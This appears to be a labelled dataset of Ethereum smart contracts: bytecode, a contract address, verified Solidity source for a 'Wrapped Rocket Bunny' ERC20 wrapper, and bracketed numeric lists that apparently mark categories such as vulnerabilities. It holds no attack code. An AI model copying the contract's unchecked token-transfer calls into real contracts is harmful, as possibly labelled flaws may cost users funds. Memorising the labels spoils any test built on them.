1600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d6357600080fd5b8183811515610d6e57fe5b04905092915050565b600081830290506000831480610d975750818382811515610d9457fe5b04145b1515610da257600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183019050828110151515610e4557600080fd5b9291505056fea165627a7a72305820807b84de3213051ceb2d8ceb9bd2ae87e3b88008b97ea2f3c9be67cd2759f64e0029
[ 38 ]
0xf30ba6edd23b35a85b202ea1e7e6b77687093d75
/** *Submitted for verification at Etherscan.io on 2020-12-21 */ /** *Submitted for verification at Etherscan.io on 2020-12-15 */ // File: ..\common.5\openzeppelin\token\ERC20\IERC20.sol pragma solidity ^0.5.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: ..\common.5\openzeppelin\token\ERC20\ERC20Detailed.sol pragma solidity ^0.5.0; /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } // File: ..\common.5\openzeppelin\GSN\Context.sol pragma solidity ^0.5.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: ..\common.5\openzeppelin\math\SafeMath.sol pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: ..\common.5\openzeppelin\token\ERC20\ERC20.sol pragma solidity ^0.5.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20Mintable}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } } // File: ..\common.5\openzeppelin\access\Roles.sol pragma solidity ^0.5.0; /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev Give an account access to this role. */ function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /** * @dev Remove an account's access to this role. */ function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /** * @dev Check if an account has this role. * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } // File: ..\common.5\openzeppelin\access\roles\MinterRole.sol pragma solidity ^0.5.0; contract MinterRole is Context { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(_msgSender()); } modifier onlyMinter() { require(isMinter(_msgSender()), "MinterRole: caller does not have the Minter role"); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(_msgSender()); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } // File: ..\common.5\openzeppelin\token\ERC20\ERC20Mintable.sol pragma solidity ^0.5.0; /** * @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole}, * which have permission to mint (create) new tokens as they see fit. * * At construction, the deployer of the contract is the only minter. */ contract ERC20Mintable is ERC20, MinterRole { /** * @dev See {ERC20-_mint}. * * Requirements: * * - the caller must have the {MinterRole}. */ function mint(address account, uint256 amount) public onlyMinter returns (bool) { _mint(account, amount); return true; } } // File: ..\common.5\openzeppelin\token\ERC20\ERC20Burnable.sol pragma solidity ^0.5.0; /** * @dev Extension of {ERC20} that allows token holders to destroy both their own * tokens and those that they have an allowance for, in a way that can be * recognized off-chain (via event analysis). */ contract ERC20Burnable is Context, ERC20 { /** * @dev Destroys `amount` tokens from the caller. * * See {ERC20-_burn}. */ function burn(uint256 amount) public { _burn(_msgSender(), amount); } /** * @dev See {ERC20-_burnFrom}. */ function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } } // File: contracts\WBUNNY.sol pragma solidity ^0.5.17; contract WBUNNY is Context, ERC20Detailed, ERC20Mintable, ERC20Burnable { using SafeMath for uint; ERC20 public BUNNY; constructor() public ERC20Detailed("Wrapped Rocket Bunny", "WBUNNY", 9) { BUNNY = ERC20Mintable(0x3Ea50B7Ef6a7eaf7E966E2cb72b519C16557497c); _removeMinter(msg.sender); } event Wrapped(address _wrapper, uint _amountIn, uint _amountWrapped); function wrap(uint _amount) public { uint balanceBefore = BUNNY.balanceOf(address(this)); BUNNY.transferFrom(msg.sender, address(this), _amount); uint realAmount = BUNNY.balanceOf(address(this)).sub(balanceBefore); _mint(msg.sender, realAmount); emit Wrapped(msg.sender, _amount, realAmount); } event Unwrapped(address _unwrapper, uint _amountUnwrapped, uint _amountOut); function unwrap(uint _amount) public { uint256 bunnyBalance = BUNNY.balanceOf(address(this)); uint256 totalYield = bunnyBalance.sub(totalSupply()); uint256 bonusYield; // add percent of total current yield held based on unwrap amount bonusYield = bonusYield.add(_amount.mul(totalYield).div(totalSupply())); uint balanceBefore = BUNNY.balanceOf(msg.sender); BUNNY.transfer(msg.sender, _amount.add(bonusYield)); uint realAmount = BUNNY.balanceOf(msg.sender).sub(balanceBefore).sub(bonusYield); _burn(msg.sender, _amount); //BUNNY.transfer(msg.sender, bonusYield); emit Unwrapped(msg.sender, _amount, realAmount); } function totalYieldView() public view returns(uint256) { uint256 bunnyBalance = BUNNY.balanceOf(address(this)); uint256 totalYield = bunnyBalance.sub(totalSupply()); return totalYield; } }
0x608060405234801561001057600080fd5b50600436106101375760003560e01c806383123693116100b8578063a9059cbb1161007c578063a9059cbb1461039a578063aa271e1a146103c6578063dd62ed3e146103ec578063de0e9a3e1461041a578063ea598cb014610437578063eeb3bdae1461045457610137565b8063831236931461033057806395d89b4114610338578063983b2d56146103405780639865027514610366578063a457c2d71461036e57610137565b806339509351116100ff578063395093511461026757806340c10f191461029357806342966c68146102bf57806370a08231146102de57806379cc67901461030457610137565b806306fdde031461013c578063095ea7b3146101b957806318160ddd146101f957806323b872dd14610213578063313ce56714610249575b600080fd5b610144610478565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017e578181015183820152602001610166565b50505050905090810190601f1680156101ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101e5600480360360408110156101cf57600080fd5b506001600160a01b03813516906020013561050e565b604080519115158252519081900360200190f35b61020161052c565b60408051918252519081900360200190f35b6101e56004803603606081101561022957600080fd5b506001600160a01b03813581169160208101359091169060400135610532565b6102516105bf565b6040805160ff9092168252519081900360200190f35b6101e56004803603604081101561027d57600080fd5b506001600160a01b0381351690602001356105c8565b6101e5600480360360408110156102a957600080fd5b506001600160a01b03813516906020013561061c565b6102dc600480360360208110156102d557600080fd5b5035610673565b005b610201600480360360208110156102f457600080fd5b50356001600160a01b0316610687565b6102dc6004803603604081101561031a57600080fd5b506001600160a01b0381351690602001356106a2565b6102016106b0565b61014461074f565b6102dc6004803603602081101561035657600080fd5b50356001600160a01b03166107af565b6102dc6107fe565b6101e56004803603604081101561038457600080fd5b506001600160a01b038135169060200135610810565b6101e5600480360360408110156103b057600080fd5b506001600160a01b03813516906020013561087e565b6101e5600480360360208110156103dc57600080fd5b50356001600160a01b0316610892565b6102016004803603604081101561040257600080fd5b506001600160a01b03813581169160200135166108a5565b6102dc6004803603602081101561043057600080fd5b50356108d0565b6102dc6004803603602081101561044d57600080fd5b5035610ba0565b61045c610d45565b604080516001600160a01b039092168252519081900360200190f35b60008054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156105045780601f106104d957610100808354040283529160200191610504565b820191906000526020600020905b8154815290600101906020018083116104e757829003601f168201915b5050505050905090565b600061052261051b610d54565b8484610d58565b5060015b92915050565b60055490565b600061053f848484610e44565b6105b58461054b610d54565b6105b0856040518060600160405280602881526020016116fd602891396001600160a01b038a16600090815260046020526040812090610589610d54565b6001600160a01b03168152602081019190915260400160002054919063ffffffff610fa216565b610d58565b5060019392505050565b60025460ff1690565b60006105226105d5610d54565b846105b085600460006105e6610d54565b6001600160a01b03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff61103916565b600061062e610629610d54565b610892565b6106695760405162461bcd60e51b815260040180806020018281038252603081526020018061168b6030913960400191505060405180910390fd5b610522838361109a565b61068461067e610d54565b8261118c565b50565b6001600160a01b031660009081526003602052604090205490565b6106ac8282611288565b5050565b600754604080516370a0823160e01b8152306004820152905160009283926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b15801561070057600080fd5b505afa158015610714573d6000803e3d6000fd5b505050506040513d602081101561072a57600080fd5b50519050600061074861073b61052c565b839063ffffffff6112dc16565b9250505090565b60018054604080516020601f600260001961010087891615020190951694909404938401819004810282018101909252828152606093909290918301828280156105045780601f106104d957610100808354040283529160200191610504565b6107ba610629610d54565b6107f55760405162461bcd60e51b815260040180806020018281038252603081526020018061168b6030913960400191505060405180910390fd5b6106848161131e565b61080e610809610d54565b611366565b565b600061052261081d610d54565b846105b0856040518060600160405280602581526020016117d56025913960046000610847610d54565b6001600160a01b03908116825260208083019390935260409182016000908120918d1681529252902054919063ffffffff610fa216565b600061052261088b610d54565b8484610e44565b600061052660068363ffffffff6113ae16565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561091b57600080fd5b505afa15801561092f573d6000803e3d6000fd5b505050506040513d602081101561094557600080fd5b50519050600061095661073b61052c565b9050600061099161098461096861052c565b610978878663ffffffff61141516565b9063ffffffff61146e16565b829063ffffffff61103916565b600754604080516370a0823160e01b815233600482015290519293506000926001600160a01b03909216916370a0823191602480820192602092909190829003018186803b1580156109e257600080fd5b505afa1580156109f6573d6000803e3d6000fd5b505050506040513d6020811015610a0c57600080fd5b50516007549091506001600160a01b031663a9059cbb33610a33888663ffffffff61103916565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015610a8257600080fd5b505af1158015610a96573d6000803e3d6000fd5b505050506040513d6020811015610aac57600080fd5b5050600754604080516370a0823160e01b81523360048201529051600092610b4c928692610b409287926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b158015610b0857600080fd5b505afa158015610b1c573d6000803e3d6000fd5b505050506040513d6020811015610b3257600080fd5b50519063ffffffff6112dc16565b9063ffffffff6112dc16565b9050610b58338761118c565b604080513381526020810188905280820183905290517ff64ae1cc3e0e07da9c895b3225439175cab5838aca24c4e74852704858c96a7b9181900360600190a1505050505050565b600754604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610beb57600080fd5b505afa158015610bff573d6000803e3d6000fd5b505050506040513d6020811015610c1557600080fd5b5051600754604080516323b872dd60e01b81523360048201523060248201526044810186905290519293506001600160a01b03909116916323b872dd916064808201926020929091908290030181600087803b158015610c7457600080fd5b505af1158015610c88573d6000803e3d6000fd5b505050506040513d6020811015610c9e57600080fd5b5050600754604080516370a0823160e01b81523060048201529051600092610cf49285926001600160a01b03909216916370a0823191602480820192602092909190829003018186803b158015610b0857600080fd5b9050610d00338261109a565b604080513381526020810185905280820183905290517f727200b48f3c812bfb404b578574e1c03694edb122d80fa6dcb352a9e4f8a9389181900360600190a1505050565b6007546001600160a01b031681565b3390565b6001600160a01b038316610d9d5760405162461bcd60e51b81526004018080602001828103825260248152602001806117b16024913960400191505060405180910390fd5b6001600160a01b038216610de25760405162461bcd60e51b81526004018080602001828103825260228152602001806116436022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610e895760405162461bcd60e51b815260040180806020018281038252602581526020018061178c6025913960400191505060405180910390fd5b6001600160a01b038216610ece5760405162461bcd60e51b81526004018080602001828103825260238152602001806115fe6023913960400191505060405180910390fd5b610f1181604051806060016040528060268152602001611665602691396001600160a01b038616600090815260036020526040902054919063ffffffff610fa216565b6001600160a01b038085166000908152600360205260408082209390935590841681522054610f46908263ffffffff61103916565b6001600160a01b0380841660008181526003602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156110315760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610ff6578181015183820152602001610fde565b50505050905090810190601f1680156110235780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600082820183811015611093576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b0382166110f5576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600554611108908263ffffffff61103916565b6005556001600160a01b038216600090815260036020526040902054611134908263ffffffff61103916565b6001600160a01b03831660008181526003602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6001600160a01b0382166111d15760405162461bcd60e51b815260040180806020018281038252602181526020018061176b6021913960400191505060405180910390fd5b61121481604051806060016040528060228152602001611621602291396001600160a01b038516600090815260036020526040902054919063ffffffff610fa216565b6001600160a01b038316600090815260036020526040902055600554611240908263ffffffff6112dc16565b6005556040805182815290516000916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35050565b611292828261118c565b6106ac8261129e610d54565b6105b084604051806060016040528060248152602001611747602491396001600160a01b038816600090815260046020526040812090610589610d54565b600061109383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fa2565b61132f60068263ffffffff6114b016565b6040516001600160a01b038216907f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f690600090a250565b61137760068263ffffffff61153116565b6040516001600160a01b038216907fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669290600090a250565b60006001600160a01b0382166113f55760405162461bcd60e51b81526004018080602001828103825260228152602001806117256022913960400191505060405180910390fd5b506001600160a01b03166000908152602091909152604090205460ff1690565b60008261142457506000610526565b8282028284828161143157fe5b04146110935760405162461bcd60e51b81526004018080602001828103825260218152602001806116dc6021913960400191505060405180910390fd5b600061109383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611598565b6114ba82826113ae565b1561150c576040805162461bcd60e51b815260206004820152601f60248201527f526f6c65733a206163636f756e7420616c72656164792068617320726f6c6500604482015290519081900360640190fd5b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b61153b82826113ae565b6115765760405162461bcd60e51b81526004018080602001828103825260218152602001806116bb6021913960400191505060405180910390fd5b6001600160a01b0316600090815260209190915260409020805460ff19169055565b600081836115e75760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610ff6578181015183820152602001610fde565b5060008385816115f357fe5b049594505050505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654d696e746572526f6c653a2063616c6c657220646f6573206e6f74206861766520746865204d696e74657220726f6c65526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c65536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365526f6c65733a206163636f756e7420697320746865207a65726f206164647265737345524332303a206275726e20616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa265627a7a72315820e988415ad02ead3fdc24703c96b87e26a0ebcc037aaf9eb51c150d64a840876564736f6c63430005110032
[ 16, 7, 12 ]